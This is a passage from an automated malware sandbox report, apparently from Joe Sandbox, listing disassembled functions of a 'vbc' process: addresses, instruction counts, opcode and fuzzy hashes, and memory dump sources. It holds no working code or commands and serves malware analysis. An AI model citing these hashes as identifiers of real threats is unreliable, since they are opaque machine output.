Opcode ID: 849043895e74ba315e9137a785eba05065dd9b320d580047ebf043ee50335575
Instruction ID: 861965f007efa3bcdd5459069eb5f9ee451e35195e636ccf6eeab7eafb88f5a8
Opcode Fuzzy Hash: 849043895e74ba315e9137a785eba05065dd9b320d580047ebf043ee50335575
Instruction Fuzzy Hash: 4B319634305218ABEA0A76759858FBF729FDBC9364F20491DD90B87B55CF345C0213E2

Uniqueness

Uniqueness Score: -1.00%

Function 0576932F Relevance: 2.0, Instructions: 2004
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2072d73b62738ca947d714639a8c2171b8ac410d36af6b4393960c9a6633dd5f
Instruction ID: fce2ba3c446d0136477502f251bfef7235a8bf6899cbf5397429402118540df1
Opcode Fuzzy Hash: 2072d73b62738ca947d714639a8c2171b8ac410d36af6b4393960c9a6633dd5f
Instruction Fuzzy Hash: 4413FC78901209DFCB169B70D45099DB777FF9A30AB1084AEDC5236B6ACB3F8852DB41

Uniqueness

Uniqueness Score: -1.00%

Function 05769378 Relevance: 2.0, Instructions: 1973
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa66468c1f4edfe173b44aa96696308e2be0be69e0c96520c04ad20b5c83c675
Instruction ID: 3157919fb4db452c8fae25bbde2268a3593fc84efdd8bae3eafa775a5820fd8a
Opcode Fuzzy Hash: fa66468c1f4edfe173b44aa96696308e2be0be69e0c96520c04ad20b5c83c675
Instruction Fuzzy Hash: E113FD78901209DFCB169B70D45099DB377FF9A30AB1084AEDC5236B6A8B3F8952DF41

Uniqueness

Uniqueness Score: -1.00%

Function 0576EE40 Relevance: 1.6, Strings: 1, Instructions: 352
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,~Gg, xrefs: 0576F304

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID: ,~Gg
API String ID: 0-4179732473
Opcode ID: 197552330c59d8ad813d36d3c743e29bcb4b635ad7d1779fbbdbcaeeddc6e5b9
Instruction ID: 6005ec5cd4ed565c82fa350015c7b7db722d03fd6b359cab04b93efeba83efae
Opcode Fuzzy Hash: 197552330c59d8ad813d36d3c743e29bcb4b635ad7d1779fbbdbcaeeddc6e5b9
Instruction Fuzzy Hash: D1E16E34A00209DFDB14DF65E898A9EBBB2FF88354F158428E9069B364DB30EC41DF91

Uniqueness

Uniqueness Score: -1.00%

Function 0AF629A0 Relevance: 1.6, APIs: 1, Instructions: 52
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(00000000), ref: 0AF62A0E

Memory Dump Source

Source File: 00000002.00000002.401719885.000000000AF60000.00000040.00000800.00020000.00000000.sdmp, Offset: 0AF60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af60000_vbc.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 6f7b2404d5d4a4ef3415d9b34eb2c79e25a6425fc4cc84b54ee19a0f92350755
Instruction ID: c2807d584ecba4764017cb734d373f272a8354becc05f971a00c27d0b554813e
Opcode Fuzzy Hash: 6f7b2404d5d4a4ef3415d9b34eb2c79e25a6425fc4cc84b54ee19a0f92350755
Instruction Fuzzy Hash: DA1123B1C002498FDB20CFAAD444BDEFBF4AF88324F15852AD469B7210D379A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0AF629A8 Relevance: 1.6, APIs: 1, Instructions: 50
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(00000000), ref: 0AF62A0E

Memory Dump Source

Source File: 00000002.00000002.401719885.000000000AF60000.00000040.00000800.00020000.00000000.sdmp, Offset: 0AF60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af60000_vbc.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 76a8c769a1c41a8588f15756731131f080441f49a634cb0c4225f6696bbfdcc4
Instruction ID: e2a93223928cac7779e2715ed8ec9d8091adc1c8fa4972bf89df2607ca251fb5
Opcode Fuzzy Hash: 76a8c769a1c41a8588f15756731131f080441f49a634cb0c4225f6696bbfdcc4
Instruction Fuzzy Hash: 931104B5D003498FDB10CF9AD444BDEFBF8AF88324F15842AD419A7210D378A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0576F29F Relevance: 1.3, Strings: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,~Gg, xrefs: 0576F304

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID: ,~Gg
API String ID: 0-4179732473
Opcode ID: 2a1a0cb002cb8957b2a9d195ecd285412599ecd99472a4272f1eef219d2c4682
Instruction ID: 4c224e2b4ed5953ee10fb0f9804da37ebfbd9186241173a3b7c0a7f91e02cff0
Opcode Fuzzy Hash: 2a1a0cb002cb8957b2a9d195ecd285412599ecd99472a4272f1eef219d2c4682
Instruction Fuzzy Hash: 240128312057415FD3119B66D884D5B7BE6FFC6264718883EC60AC7624DB306C05C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 057608F9 Relevance: .3, Instructions: 325COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ce0f40efad25dedb549f4f072a403ac5122b51b4bf9b79f2aacf0e4d579957e
Instruction ID: 2e7419c0c6ef297f6473fd5f0e0c0951bf70eb74b6b86500524083ccab5a3789
Opcode Fuzzy Hash: 9ce0f40efad25dedb549f4f072a403ac5122b51b4bf9b79f2aacf0e4d579957e
Instruction Fuzzy Hash: 98E1F275941228CFDF65DF60C998BE9BBB2FF49305F4084E9D909AB260DB319A84DF40

Uniqueness

Uniqueness Score: -1.00%

Function 0576FB30 Relevance: .3, Instructions: 279COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f271ad31a81132583ed39c84fb6d09ac394918e680034bc8c74c9d30a717af4
Instruction ID: 15f32a9e9ddb501f957285793e10b1697a4daa3dc470d9c70adf91212c1f772e
Opcode Fuzzy Hash: 5f271ad31a81132583ed39c84fb6d09ac394918e680034bc8c74c9d30a717af4
Instruction Fuzzy Hash: 30B19B74B042458FDB04EF74D4A5AAEBBB6EF89304F108469E906DB3A6DB34DC01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05767190 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a677511ff0da1a2780a4157270e9b75998876a1b3f20e29f038b481e08de780c
Instruction ID: 9fb14b1d4c33161d35183a9bf613e4cdcecd1c31f87c7fc6946c669eb216dc48
Opcode Fuzzy Hash: a677511ff0da1a2780a4157270e9b75998876a1b3f20e29f038b481e08de780c
Instruction Fuzzy Hash: 2681DE79B042409FDB19DF74C414AAEBBB6EF86358F14846AD906DB381DB31DC02CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0576EE32 Relevance: .2, Instructions: 184COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5037cec38e81a67fc341d8c64037da05184fbeab1f8746257148a5bd4605ddf1
Instruction ID: 240efa44b8b974165ee10c7ef01bc8487321634eae5b6c3fdd00cb3f80bbccf4
Opcode Fuzzy Hash: 5037cec38e81a67fc341d8c64037da05184fbeab1f8746257148a5bd4605ddf1
Instruction Fuzzy Hash: AF811C74A00209DFCB04DF68E598A9DBBB2FF88350B158559E806EB364DB30EC81DF95

Uniqueness

Uniqueness Score: -1.00%

Function 05762ED8 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945f15a5f8a616546a629e30bca895f3765fd30ef2b2f176465f7fbcdbe0a9b6
Instruction ID: 8dd5a110dcc77b5efeb4520d19a4797275709fa75ea70483a6626c0bd940b7d6
Opcode Fuzzy Hash: 945f15a5f8a616546a629e30bca895f3765fd30ef2b2f176465f7fbcdbe0a9b6
Instruction Fuzzy Hash: 27614B31D11248CFCB04EFB8E45889DBBB6FF8A315B20966DE415AB390EF319885CB51

Uniqueness

Uniqueness Score: -1.00%

Function 05762EE8 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ef45ed7012fc7d1d39bac39f14d95d4e24fa24aa5305f6483607ece2467270e
Instruction ID: 0672660d9e97e890c502510c05a35732ce6529d82aa4cb2692bf0b63ff2ce793
Opcode Fuzzy Hash: 3ef45ed7012fc7d1d39bac39f14d95d4e24fa24aa5305f6483607ece2467270e
Instruction Fuzzy Hash: A5614B31D11248CFCB04EFB8E45489DBBB6FF8A315B20966DE41167394EF319885CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0576E0D0 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02235b80f5a5c8b99048bbf2c34b53975f930379af716ccfaa581333979df573
Instruction ID: 209cf930071ce0943f9be7fe2afaf51b28c274322461cd6906937ff448dba268
Opcode Fuzzy Hash: 02235b80f5a5c8b99048bbf2c34b53975f930379af716ccfaa581333979df573
Instruction Fuzzy Hash: DE510F34A10219EFDF14DFA4E894EAEBBB6BF88315F148019ED12A7350DB309945DF60

Uniqueness

Uniqueness Score: -1.00%

Function 057628C9 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd1168d92495dda1d0e4589760d156bdd643ee26e325327b6f057e606fb3b0f7
Instruction ID: a208e43360f83f73059e2a3c7da046d94673165b20916a8e673e75f48fd1765f
Opcode Fuzzy Hash: bd1168d92495dda1d0e4589760d156bdd643ee26e325327b6f057e606fb3b0f7
Instruction Fuzzy Hash: A651E274E01248CFCB18DFA5D5949ADBBB6FF89301F20952ED81AAB354DB319806CF40

Uniqueness

Uniqueness Score: -1.00%

Function 0576F201 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5929651ceeb07f37b6ebe78b912e42d6e78dc61fa65e6e1660100966ef37ffe6
Instruction ID: 9645ebf1e0c60c04cfc0105dedf126b13fba433975b517c8a06223d900d6b9b0
Opcode Fuzzy Hash: 5929651ceeb07f37b6ebe78b912e42d6e78dc61fa65e6e1660100966ef37ffe6
Instruction Fuzzy Hash: 1351D634A10209DFCB14DFA4E998AADBBB2FF48310F158458E906AB365DB31EC41DF50

Uniqueness

Uniqueness Score: -1.00%

Function 057628D8 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9754dbd5b0a752f14ed1789e3bfc1fc7adbdb2dcb422a5977abe9f780e79d3f2
Instruction ID: 2ea2d72a5c3d04a4d791f1bec09856c88e9d90eae2328ad58082c61852e38a34
Opcode Fuzzy Hash: 9754dbd5b0a752f14ed1789e3bfc1fc7adbdb2dcb422a5977abe9f780e79d3f2
Instruction Fuzzy Hash: 9C51D274E00248DFCB18DFA5E89499DBBB6FF89301F20952EE91AAB354DB315846CF41

Uniqueness

Uniqueness Score: -1.00%

Function 0576E5C8 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cee149c222dab756d2d382e2754ac5a9cd312dfc014a24d0ac3527a39e1efe6
Instruction ID: 88da7580c454c33c7caf6d36f578f3f5701483bae5142b2385c388cea0058066
Opcode Fuzzy Hash: 0cee149c222dab756d2d382e2754ac5a9cd312dfc014a24d0ac3527a39e1efe6
Instruction Fuzzy Hash: 35419C34B052448FD718DF68D454B6FBBBAEB89314F14816AD90ADB391DB319C41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 057686C0 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbf37a272e54d4ad3e9bb73eeb2a731c77895a15cb43d8aedadd5a2639c2993f
Instruction ID: de18e2a0fe18e44709cfbdc22150f78135cbed1b37be978cb50f5415de0036af
Opcode Fuzzy Hash: fbf37a272e54d4ad3e9bb73eeb2a731c77895a15cb43d8aedadd5a2639c2993f
Instruction Fuzzy Hash: 293128347042448FDB18DFA8C5A8AAE77F6FB88704F15546CEA02AB3A0DF759C41DB52

Uniqueness

Uniqueness Score: -1.00%

Function 057686B0 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 144fe47a3031fc195e6cc834c603a4ed013783d08d34e75e07604fabc45ccf9f
Instruction ID: c6c41bd028f611e5c7ba1a3f3344d2f1c3f5c5a3cffb5ca4bf4db766aa1c1534
Opcode Fuzzy Hash: 144fe47a3031fc195e6cc834c603a4ed013783d08d34e75e07604fabc45ccf9f
Instruction Fuzzy Hash: 6E315C347042448FDB15DF68D498AAA7BF6FF89704F1444ACE906AB361DB319C01DBA2

Uniqueness

Uniqueness Score: -1.00%

Function 0576BB47 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7415bdca1e33fd39cb5129e77be677b21732b31bb26a8f75e02492297698b8e5
Instruction ID: d5e1acf8a5d123f0ab3749ec472dcde45923a98628ed4d67e7087c1f6fec1d10
Opcode Fuzzy Hash: 7415bdca1e33fd39cb5129e77be677b21732b31bb26a8f75e02492297698b8e5
Instruction Fuzzy Hash: B5319C32D10B46CADB11EFB8C850299B771FFDA314F259B1AE5997B641EB30B590CB80

Uniqueness

Uniqueness Score: -1.00%

Function 05768928 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56d07d8a48cb09e28486b6643fb0ffd90a0277507dec79728ed2eb60f46ee839
Instruction ID: 8ed3500b779893cad0d78b0f45321527e5208cf5db787fd2b29d9058315d5474
Opcode Fuzzy Hash: 56d07d8a48cb09e28486b6643fb0ffd90a0277507dec79728ed2eb60f46ee839
Instruction Fuzzy Hash: AC2132307083804FD719AB74A41852E7BEBAFC62547154CBEC647CB791DF748C068792

Uniqueness

Uniqueness Score: -1.00%

Function 057659A0 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3501219c679607dfc1b4f9e1a4639fce05d9215aad2efed0afb25f33fefab1d5
Instruction ID: 400535652fc74500360b2db6e57e67274c3cd3b223568fe17ffcfb749410a4eb
Opcode Fuzzy Hash: 3501219c679607dfc1b4f9e1a4639fce05d9215aad2efed0afb25f33fefab1d5
Instruction Fuzzy Hash: EB414C35904309EFCF059FA4E8488ADBFBAFB88304F105419EA19EB762DB315914DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 05768E28 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 970ea9a789a8ca201b8bf4d91a3f76a0f8471f50b0d5c82265dab168bc141001
Instruction ID: 40d0bb66f19b294b12041164c770c87f624b5f28b0f6d9ff39e082aacf7d1564
Opcode Fuzzy Hash: 970ea9a789a8ca201b8bf4d91a3f76a0f8471f50b0d5c82265dab168bc141001
Instruction Fuzzy Hash: CE31F631E047468BCB12AF78D4242AEBBB5FFC5310F10852EC956AB341EB35A945C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 0576BB58 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9567e8ee244b20314ba8b4f247edc5f32303d670e48aece3befc4cf4ff59888
Instruction ID: b8c9b35caab76446ea8d874be070a09799495c5ec8752ae2e01cabc5d48406d0
Opcode Fuzzy Hash: c9567e8ee244b20314ba8b4f247edc5f32303d670e48aece3befc4cf4ff59888
Instruction Fuzzy Hash: 84317832D10B468ACB10EFB9D850299F371FFD9324F219B2AE59977641EB71B590CB80

Uniqueness

Uniqueness Score: -1.00%

Function 057659B0 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bef75ac124916b3c37ef24ec3f18ccec77dc190e8e11b63a38115775e586bad
Instruction ID: e61a6cd81d3dcc6674164ecb00c78e2df2d4002c7fc70c98db9304ab88e7a2c6
Opcode Fuzzy Hash: 7bef75ac124916b3c37ef24ec3f18ccec77dc190e8e11b63a38115775e586bad
Instruction Fuzzy Hash: C4314C35904209EFCF059FE4E8089ADBFBAFB88304F105418EA19EB722DB315914DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 05768E48 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90617136503142d4d7da9f74a26a45af988dc2680c6cf2ee860c9c24028ff77b
Instruction ID: cea508cafc3ac9ff8f476ccd82ce3b929ed1430b61d4cdb5409ec0f59e5f9332
Opcode Fuzzy Hash: 90617136503142d4d7da9f74a26a45af988dc2680c6cf2ee860c9c24028ff77b
Instruction Fuzzy Hash: B931A031F006468BCB15AFB8D4242AEB7B5FFC5310F10852ACA5AAB740EB75E945CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 0576FDE2 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc9c8bb681ed38c7685002569e21fb1579f023476627b804867ab24e2e7ff05b
Instruction ID: 12e63a80ede2ff3ee241d619a05d082543de26dbcff540be74c2d5a2c22b2250
Opcode Fuzzy Hash: fc9c8bb681ed38c7685002569e21fb1579f023476627b804867ab24e2e7ff05b
Instruction Fuzzy Hash: E7318774E093888FCB15DBB4E4556AEBBB1BF89314F1084AED541AB252DB388805CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0535D820 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.338637514.000000000535D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0535D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_535d000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac2ffc4b3daef623b7267c29594b370dfce28a74c8c70bd45d4995c440e3c4a7
Instruction ID: b920e23d4512098cad45300dea6fe733198aa0f5b2a84bcb3f883c86739fa0ef
Opcode Fuzzy Hash: ac2ffc4b3daef623b7267c29594b370dfce28a74c8c70bd45d4995c440e3c4a7
Instruction Fuzzy Hash: E9212BB1504244DFDF06DF50D8C0F26BBA6FB88324F2489A9ED094B646C376D556CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0535D3EC Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.338637514.000000000535D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0535D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_535d000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40c80937bc9367b8d889180bb9ccd734b9b1d7ed505f17d887b4ae67d8144409
Instruction ID: a83284a1d2ca5f52f2a05ebbdd015bbe1e722a2090fb1832303388d1855c3301
Opcode Fuzzy Hash: 40c80937bc9367b8d889180bb9ccd734b9b1d7ed505f17d887b4ae67d8144409
Instruction Fuzzy Hash: 4F21F4B1508244DFDB06DF50D8C0F26BB66FB84324F24C969ED094F606C776E566C6A1

Uniqueness

Uniqueness Score: -1.00%

Function 0535D4D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.338637514.000000000535D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0535D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_535d000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a962ed70f7a29e8f65f2628cb89c3f5061fac1626f38dd24a709117c3fbacab
Instruction ID: f5ca12c061f09a360b943eebee13c26bc39fe7287c90e5601d6e1253c95ba96a
Opcode Fuzzy Hash: 4a962ed70f7a29e8f65f2628cb89c3f5061fac1626f38dd24a709117c3fbacab
Instruction Fuzzy Hash: A3213AB1504204DFDB05CF10D9C0F26BB66FB88338F248D69ED064B606C376D956C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 0576E5BA Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33027162df27722fe06e89db654e9e46bc8ef39e64035f9e3f95251f16a27f93
Instruction ID: ae75a577e6a687a7e2c02971818bde087b47934aee8b5ff6c26439cbd88e54ee
Opcode Fuzzy Hash: 33027162df27722fe06e89db654e9e46bc8ef39e64035f9e3f95251f16a27f93
Instruction Fuzzy Hash: 43218C34B042048FDB18EB74D868B6EBBA6AF89214F15446AD906DB392EA709C418B91

Uniqueness

Uniqueness Score: -1.00%

Function 0576BF00 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2037b0dee5d3770cac979cf3e5c3f5c612caa2eff4b749d7b821ec65bc759883
Instruction ID: 2f5d153834ba739b5cd47bb6f3320da6de37941c2a022d7f3746cc5c36fcea09
Opcode Fuzzy Hash: 2037b0dee5d3770cac979cf3e5c3f5c612caa2eff4b749d7b821ec65bc759883
Instruction Fuzzy Hash: 1421A77030C1C1DBC7199F31A51C3BE3AAEAB42705F04546DE94BCF792DB2988059B53

Uniqueness

Uniqueness Score: -1.00%

Function 0576BEF0 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1feadcc36e0c3b252d6a9e166a732a285e7f533f7de61205e5d7d64b20f6bb6
Instruction ID: 59ebd265d0cb4e05937a6b776ab45f861c62114866b49a522700cd426d7a0c2c
Opcode Fuzzy Hash: d1feadcc36e0c3b252d6a9e166a732a285e7f533f7de61205e5d7d64b20f6bb6
Instruction Fuzzy Hash: B621A47030D2D2DBC7165F31651C2BD3FAAAF4360570468ADE84BCE752DB288406DB53

Uniqueness

Uniqueness Score: -1.00%

Function 0576B3E8 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25415cb557929a6eed5264b29db44ebbf30a67fad2d3a84d3414c55b47937569
Instruction ID: 8b6dc848bf033fa1d19172b71695076d1ff9c44132ab889b29ace08ebd7661c8
Opcode Fuzzy Hash: 25415cb557929a6eed5264b29db44ebbf30a67fad2d3a84d3414c55b47937569
Instruction Fuzzy Hash: D911E734B453849FD715AB749819B6E3FB69F87600F1480AAE906DF391DF748D02CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0576E6F0 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.352601988.0000000005760000.00000040.00000800.00020000.00000000.sdmp, Offset: 05760000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5760000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9daa0dd63b01cf59a66189d3c5cdd2746e4ba979068eff814e39171e9725427f
